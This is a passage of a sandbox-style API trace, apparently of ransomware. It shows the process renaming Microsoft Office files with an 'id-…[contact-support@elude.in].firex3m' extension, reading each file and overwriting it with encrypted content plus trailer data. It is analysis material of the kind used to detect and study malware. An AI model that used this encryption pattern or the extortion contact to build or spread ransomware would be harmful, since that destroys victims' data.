ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4665beb, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1f26fc93, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0xc787496, dwReserved1=0x695ec8, cFileName="JADE.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JADECS~1.FIR")) returned 0x6d5280 [0149.654] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0149.654] Sleep (dwMilliseconds=0x1) [0149.777] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF", len=0x49 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF") returned 1 [0149.777] GetProcessHeap () returned 0x630000 [0149.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fa4e00, Size=0x27c4) returned 0x6fa4e00 [0149.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir32f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0149.780] CloseHandle (hObject=0x6d8) returned 1 [0149.780] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir32f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir32f.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.787] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad65103, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad65103, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad65103, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x910b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PDIR32~1.FIR")) returned 0x6d5440 [0149.791] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0149.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir32f.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0149.793] GetProcessHeap () returned 0x630000 [0149.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9121) returned 0x731cfd8 [0149.793] GetProcessHeap () returned 0x630000 [0149.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9121) returned 0x7326108 [0149.794] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.794] ReadFile (in: hFile=0x6d4, lpBuffer=0x731cfd8, nNumberOfBytesToRead=0x9100, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731cfd8*, lpNumberOfBytesRead=0x357ff0c*=0x9100, lpOverlapped=0x0) returned 1 [0156.433] GetProcessHeap () returned 0x630000 [0156.433] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0156.434] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.434] WriteFile (in: hFile=0x6d4, lpBuffer=0x7326108*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7326108*, lpNumberOfBytesWritten=0x357ff0c*=0x9100, lpOverlapped=0x0) returned 1 [0156.435] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.435] WriteFile (in: hFile=0x6d4, lpBuffer=0x732f207*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x732f207*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0156.435] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.435] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0156.435] CloseHandle (hObject=0x6d4) returned 1 [0156.435] GetProcessHeap () returned 0x630000 [0156.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7326108 | out: hHeap=0x630000) returned 1 [0156.439] GetProcessHeap () returned 0x630000 [0156.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731cfd8 | out: hHeap=0x630000) returned 1 [0156.439] GetProcessHeap () returned 0x630000 [0156.439] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0156.440] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0156.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR32F.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad65103, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad65103, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2331d15e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x912f, dwReserved0=0xc787496, dwReserved1=0x731cfd0, cFileName="PDIR32F.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PDIR32~1.FIR")) returned 0x6d5540 [0156.440] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0156.440] Sleep (dwMilliseconds=0x1) [0158.678] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml") returned 1 [0158.678] GetProcessHeap () returned 0x630000 [0158.678] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c30) returned 0x707d3d0 [0158.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0158.679] CloseHandle (hObject=0x6a4) returned 1 [0158.679] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.680] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c7, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5540 [0158.680] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0158.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\kk\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0158.680] GetProcessHeap () returned 0x630000 [0158.680] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14e1) returned 0x71aa040 [0158.680] GetProcessHeap () returned 0x630000 [0158.680] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14e1) returned 0x727ae80 [0158.681] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.681] ReadFile (in: hFile=0x6a4, lpBuffer=0x71aa040, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71aa040*, lpNumberOfBytesRead=0x357ff0c*=0x14c0, lpOverlapped=0x0) returned 1 [0158.702] GetProcessHeap () returned 0x630000 [0158.702] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0158.702] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.702] WriteFile (in: hFile=0x6a4, lpBuffer=0x727ae80*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727ae80*, lpNumberOfBytesWritten=0x357ff0c*=0x14c0, lpOverlapped=0x0) returned 1 [0158.703] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.703] WriteFile (in: hFile=0x6a4, lpBuffer=0x727c33f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727c33f*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.703] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.703] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.703] CloseHandle (hObject=0x6a4) returned 1 [0158.703] GetProcessHeap () returned 0x630000 [0158.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727ae80 | out: hHeap=0x630000) returned 1 [0158.703] GetProcessHeap () returned 0x630000 [0158.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71aa040 | out: hHeap=0x630000) returned 1 [0158.703] GetProcessHeap () returned 0x630000 [0158.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0158.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x248ba83a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x14eb, dwReserved0=0xc787496, dwReserved1=0x71aa038, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0158.704] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0158.704] Sleep (dwMilliseconds=0x1) [0158.716] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml") returned 1 [0158.716] GetProcessHeap () returned 0x630000 [0158.716] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c2c) returned 0x707d3d0 [0158.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0158.717] CloseHandle (hObject=0x6a4) returned 1 [0158.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0158.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0158.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.718] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5540 [0158.718] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0158.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ja\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0158.718] GetProcessHeap () returned 0x630000 [0158.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1021) returned 0x6fa8e10 [0158.718] GetProcessHeap () returned 0x630000 [0158.718] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1021) returned 0x7238ed0 [0158.718] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.718] ReadFile (in: hFile=0x6a4, lpBuffer=0x6fa8e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8e10*, lpNumberOfBytesRead=0x357ff0c*=0x1000, lpOverlapped=0x0) returned 1 [0160.358] GetProcessHeap () returned 0x630000 [0160.358] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176c28 [0160.358] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x6a4, lpBuffer=0x7238ed0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7238ed0*, lpNumberOfBytesWritten=0x357ff0c*=0x1000, lpOverlapped=0x0) returned 1 [0160.358] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x6a4, lpBuffer=0x7239ecf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7239ecf*, lpNumberOfBytesWritten=0x357ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.358] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.358] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x357ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.358] CloseHandle (hObject=0x6a4) returned 1 [0160.358] GetProcessHeap () returned 0x630000 [0160.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7238ed0 | out: hHeap=0x630000) returned 1 [0160.358] GetProcessHeap () returned 0x630000 [0160.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8e10 | out: hHeap=0x630000) returned 1 [0160.358] GetProcessHeap () returned 0x630000 [0160.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176c28 | out: hHeap=0x630000) returned 1 [0160.625] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.625] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fcc4 | out: lpFindFileData=0x357fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25886340, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1027, dwReserved0=0xc787496, dwReserved1=0x6fa8e08, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0160.625] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0160.625] Sleep (dwMilliseconds=0x1) [0160.730] SysReAllocStringLen (in: pbstr=0x357ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl", len=0x64 | out: pbstr=0x357ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl") returned 1 [0160.730] GetProcessHeap () returned 0x630000 [0160.730] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2be8) returned 0x707d3d0 [0160.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0160.731] CloseHandle (hObject=0x620) returned 1 [0160.731] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.732] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x357ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x357fc6c | out: lpFindFileData=0x357fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x166ea6b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x166ea6b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x750073, dwReserved1=0x700070, cFileName="Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYBASE~1.FIR")) returned 0x6d5340 [0160.732] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0160.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\Sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sybase.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0160.733] GetProcessHeap () returned 0x630000 [0160.733] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x7226220 [0160.733] GetProcessHeap () returned 0x630000 [0160.733] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x76c1) returned 0x71417f8 [0160.734] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.734] ReadFile (in: hFile=0x620, lpBuffer=0x7226220, nNumberOfBytesToRead=0x76a0, lpNumberOfBytesRead=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7226220*, lpNumberOfBytesRead=0x357ff0c*=0x76a0, lpOverlapped=0x0) returned 1 [0164.638] GetProcessHeap () returned 0x630000 [0164.638] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0164.638] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.638] WriteFile (in: hFile=0x620, lpBuffer=0x71417f8*, nNumberOfBytesToWrite=0x76a0, lpNumberOfBytesWritten=0x357ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71417f8*, 